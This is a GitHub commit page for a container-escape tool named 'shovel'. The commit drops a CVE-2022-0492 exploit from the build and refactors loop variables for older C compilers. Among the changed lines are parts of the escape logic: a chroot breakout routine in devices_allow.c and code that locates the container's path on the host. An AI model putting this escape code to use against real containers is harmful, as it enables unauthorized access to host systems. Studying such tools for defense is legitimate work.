Skip to content

Commit

Permalink
this branch del code of cve-2002-0492 to compiler in low version glib…
Browse files Browse the repository at this point in the history 
…c(don't have CLONE_NEWCGROUP)
  • Loading branch information
@SPuerBRead
SPuerBRead committed Dec 14, 2022
1 parent da832a2 commit 2862cf8
Show file tree
Hide file tree
Showing 5 changed files with 19 additions and 16 deletions.
2 changes: 1 addition & 1 deletion CMakeLists.txt
View file
Original file line number Diff line number Diff line change
Expand Up @@ -3,4 +3,4 @@ project(shovel C)

set(CMAKE_C_STANDARD 99)

add_executable(shovel main.c exploits/release_agent.c exploits/release_agent.h docker/capability.c docker/capability.h util/output.c util/output.h exploits/cve_2022_0492.c exploits/cve_2022_0492.h docker/path.c docker/path.h util/regex_util.c util/regex_util.h util/random_str.c util/random_str.h exploits/devices_allow.c exploits/devices_allow.h util/program_info.c util/program_info.h util/utils.c util/utils.h util/custom_struts.c util/custom_struts.h docker/cgroup.c docker/cgroup.h docker/dev.c docker/dev.h util/mount_info.c util/mount_info.h docker/security.c docker/security.h)
add_executable(shovel main.c exploits/release_agent.c exploits/release_agent.h docker/capability.c docker/capability.h util/output.c util/output.h docker/path.c docker/path.h util/regex_util.c util/regex_util.h util/random_str.c util/random_str.h exploits/devices_allow.c exploits/devices_allow.h util/program_info.c util/program_info.h util/utils.c util/utils.h util/custom_struts.c util/custom_struts.h docker/cgroup.c docker/cgroup.h docker/dev.c docker/dev.h util/mount_info.c util/mount_info.h docker/security.c docker/security.h)
21 changes: 11 additions & 10 deletions docker/path.c
View file
Original file line number Diff line number Diff line change
Expand Up @@ -27,9 +27,9 @@ int get_storage_driver_type() {
char *proc_mounts_path = "/proc/mounts";
char *mtab_path = "/etc/mtab";
char *vfs_mount_path = "/proc/1/mountinfo";
int length;
int length,i;
if (access(proc_mounts_path, F_OK) == 0 && ((length = load_mount_info(proc_mounts_path, mounts_info)) != 0)) {
for (int i = 0; i < length; i++) {
for (i = 0; i < length; i++) {
if (strcmp(mounts_info[i]->mnt_type, "overlay") == 0) {
printf_wrapper(INFO, "Storage driver type: overlayfs\n");
return OVERLAYFS;
Expand All @@ -49,7 +49,7 @@ int get_storage_driver_type() {
}
}
if (access(mtab_path, F_OK) == 0 && ((length = load_mount_info(proc_mounts_path, mounts_info)) != 0)) {
for (int i = 0; i < length; i++) {
for (i = 0; i < length; i++) {
if (strcmp(mounts_info[i]->mnt_type, "overlay") == 0) {
printf_wrapper(INFO, "Storage driver type: overlayfs\n");
return OVERLAYFS;
Expand All @@ -69,7 +69,7 @@ int get_storage_driver_type() {
}
}
if (access(vfs_mount_path, F_OK) == 0 && ((length = load_mount_info(vfs_mount_path, mounts_info)) != 0)) {
for (int i = 0; i < length; i++) {
for (i = 0; i < length; i++) {
if (strstr(mounts_info[i]->mnt_opts, "/var/lib/docker/vfs")) {
printf_wrapper(INFO, "Storage driver type: vfs\n");
return VFS;
Expand All @@ -81,10 +81,11 @@ int get_storage_driver_type() {
}

void get_container_path_in_host(char *container_path_in_host) {
int i;
switch (get_storage_driver_type()) {
case OVERLAYFS: {
char *regex_match_result = (char *) malloc(512 * sizeof(char));
for (int i = 0; i < 1024; i++) {
for (i = 0; i < 1024; i++) {
if (mounts_info[i] != NULL) {
if (strcmp(mounts_info[i]->mnt_type, "overlay") == 0) {
regex_util(mounts_info[i]->mnt_opts, ".*?perdir=(.*?),", regex_match_result);
Expand All @@ -103,7 +104,7 @@ void get_container_path_in_host(char *container_path_in_host) {
}
case DEVICE_MAPPER: {
char *regex_match_result = (char *) malloc(512 * sizeof(char));
for (int i = 0; i < 1024; i++) {
for (i = 0; i < 1024; i++) {
if (mounts_info[i] != NULL) {
if (strstr(mounts_info[i]->mnt_fsname, "/dev/mapper/docker")) {
regex_util(mounts_info[i]->mnt_fsname, "dev/mapper/docker-[0-9]*:[0-9]*-[0-9]*-(.*)",
Expand All @@ -124,7 +125,7 @@ void get_container_path_in_host(char *container_path_in_host) {
break;
}
case VFS: {
for (int i = 0; i < 1024; i++) {
for (i = 0; i < 1024; i++) {
if (mounts_info[i] != NULL) {
if (strstr(mounts_info[i]->mnt_opts, "/var/lib/docker/vfs")) {
strcpy(container_path_in_host, mounts_info[i]->mnt_opts);
Expand All @@ -139,7 +140,7 @@ void get_container_path_in_host(char *container_path_in_host) {
}
case ZFS: {
char *regex_match_result = (char *) malloc(512 * sizeof(char));
for (int i = 0; i < 1024; i++) {
for (i = 0; i < 1024; i++) {
if (mounts_info[i] != NULL) {
if (strcmp(mounts_info[i]->mnt_type, "zfs") == 0) {
regex_util(mounts_info[i]->mnt_fsname, "/([a-z0-9]*$)", regex_match_result);
Expand All @@ -161,7 +162,7 @@ void get_container_path_in_host(char *container_path_in_host) {
char *regex_match_result = (char *) malloc(512 * sizeof(char));
char *si_id = (char *) malloc(512 * sizeof(char));
char *aufs_read_path = (char *) malloc(512 * sizeof(char));
for (int i = 0; i < 1024; i++) {
for (i = 0; i < 1024; i++) {
if (mounts_info[i] != NULL) {
if (strcmp(mounts_info[i]->mnt_type, "aufs") == 0) {
regex_util(mounts_info[i]->mnt_opts, "si=([a-z0-9]*),", si_id);
Expand Down Expand Up @@ -190,7 +191,7 @@ void get_container_path_in_host(char *container_path_in_host) {
}
case BTRFS: {
char *regex_match_result = (char *) malloc(512 * sizeof(char));
for (int i = 0; i < 1024; i++) {
for (i = 0; i < 1024; i++) {
if (mounts_info[i] != NULL) {
if (strcmp(mounts_info[i]->mnt_type, "btrfs") == 0) {
regex_util(mounts_info[i]->mnt_opts, "subvol=(/btrfs/subvolumes/[a-z0-9]{64})",
Expand Down
3 changes: 2 additions & 1 deletion exploits/devices_allow.c
View file
Original file line number Diff line number Diff line change
Expand Up @@ -97,6 +97,7 @@ int device_allow_reverse() {
}

int device_allow_shell() {
int x;
printf_wrapper(INFO, "Chroot to %s\n", device_allow_attack_info.host_filesystem_mount_path);
int fd = open(".", O_RDONLY);
if (chroot(device_allow_attack_info.host_filesystem_mount_path) != 0) {
Expand All @@ -118,7 +119,7 @@ int device_allow_shell() {
printf_wrapper(ERROR, "fchdir to container root failed\n");
}
close(fd);
for (int x = 0; x < 1024; x++) {
for (x = 0; x < 1024; x++) {
chdir("..");
}
chroot(".");
Expand Down
4 changes: 2 additions & 2 deletions util/mount_info.c
View file
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,7 @@
// Created by FlagT on 2022/7/10.
//

#include <bits/types/FILE.h>
// #include <bits/types/FILE.h>
#include <mntent.h>
#include <stdio.h>
#include <stdlib.h>
Expand Down Expand Up @@ -36,4 +36,4 @@ int load_mount_info(char *path, struct mntent *mounts_info[]) {
}
endmntent(mounts_file);
return count;
}
}
5 changes: 3 additions & 2 deletions util/random_str.c
View file
Original file line number Diff line number Diff line change
Expand Up @@ -8,13 +8,14 @@
#include <stdlib.h>

void rand_string(char *str, size_t size) {
size_t n;
const char charset[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456";
if (size) {
--size;
for (size_t n = 0; n < size; n++) {
for (n = 0; n < size; n++) {
int key = (int) random() % (int) (sizeof charset - 1);
str[n] = charset[key];
}
str[size] = '\0';
}
}
}

0 comments on commit 2862cf8

Please sign in to comment.